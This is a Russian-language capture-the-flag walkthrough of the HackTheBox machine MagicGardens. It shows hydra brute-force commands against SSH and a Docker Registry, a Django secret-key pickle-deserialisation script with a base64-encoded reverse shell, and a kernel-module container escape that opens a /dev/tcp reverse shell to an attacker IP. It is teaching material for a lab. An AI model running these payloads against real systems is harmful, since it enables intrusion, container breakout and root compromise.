Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/355.

Также на https://boosty.to/kiberdruzhinnik/posts/1216bae3-08d7-46cd-bf57-38bb24b38898 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Проверяем порты с помощью nmap:

22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
25/tcp   open  smtp?    syn-ack ttl 63
80/tcp   open  http     syn-ack ttl 63 nginx 1.22.1
1337/tcp open  waste?   syn-ack ttl 63
5000/tcp open  ssl/http syn-ack ttl 62 Docker Registry (API: 2.0)

Веб

Попадаем на магазин цветов и регистрируем себе аккаунт:

alt text

При покупке подписки видим разные банки:

alt text

  • honestbank.htb
  • magicalbank.htb
  • plunders.htb

Создадим себе Flask приложение:

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/', defaults={'path': ''}, methods=['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH'])
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH'])
def catch_all(path):
    print(request.__dict__)
    print(request.get_json())
    print(request.get_data())
    res = request.get_json()
    res["status"] = "200"
    return jsonify(res)

if __name__ == "__main__":
    app.run(host="0.0.0.0")

И завернем покупку подписки на этот сервис:

alt text

alt text

После заказа товара узнаем о пользователе morty:

alt text

Далее брутфорсим SSH:

hydra -l morty -P ~/wordlists/rockyou.txt ssh://magicgardens.htb

SSH

После логина на SSH обнаруживаем пользователя alex. С помощью alex брутим Docker Registry:

hydra -l alex -P ~/wordlists/rockyou.txt -s 5000 -f magicgardens.htb https-get /v2/_catalog

С этими кредами идем в Docker Registry и узнаем про контейнер:

alt text

alt text

Качаем контейнер к себе на машину, запускаем и внутри находим файл .env:

cat .env
DEBUG=False
SECRET_KEY=***

Это позволяет нам выполнить Django Secret Key to RCE с помощью скрипта:

import os
import base64
import django
from django.conf import settings
import django.core.signing
import pickle

# Configure Django settings
settings.configure(
    SECRET_KEY='***',
)

django.setup()
salt = "django.contrib.sessions.backends.signed_cookies"

class PickleSerializer:

    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """

    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)

class Command:
    def __reduce__(self):
        return (os.system, ('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDcvNDI0MiAwPiYxCg== | base64 -d | bash',))

cookie = django.core.signing.dumps(
    Command(), key=settings.SECRET_KEY, salt=salt, serializer=PickleSerializer)

print(cookie)

После выполнения скрипта получаем нужную куку и вставляем ее в sessionid по адресу http://magicgardens.htb/admin/, затем ловим шелл:

alt text

Смотрим на Linux Capabilities в контейнере:

$ capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

Мы можем загрузить модуль ядра и получить root. Просто воспользуемся ссылкой https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd.

Из-под morty соберем модуль ядра:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.107/4244 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o

all:
 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
 make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

alt text

Теперь файл reverse-shell.ko переносим в контейнер magicgardens.htb, который мы получили чуть ранее.

Запускаем слушателя у себя и подгружаем модуль ядра:

insmod reverse-shell.ko

Флаг пользователя

alt text

Флаг суперпользователя

alt text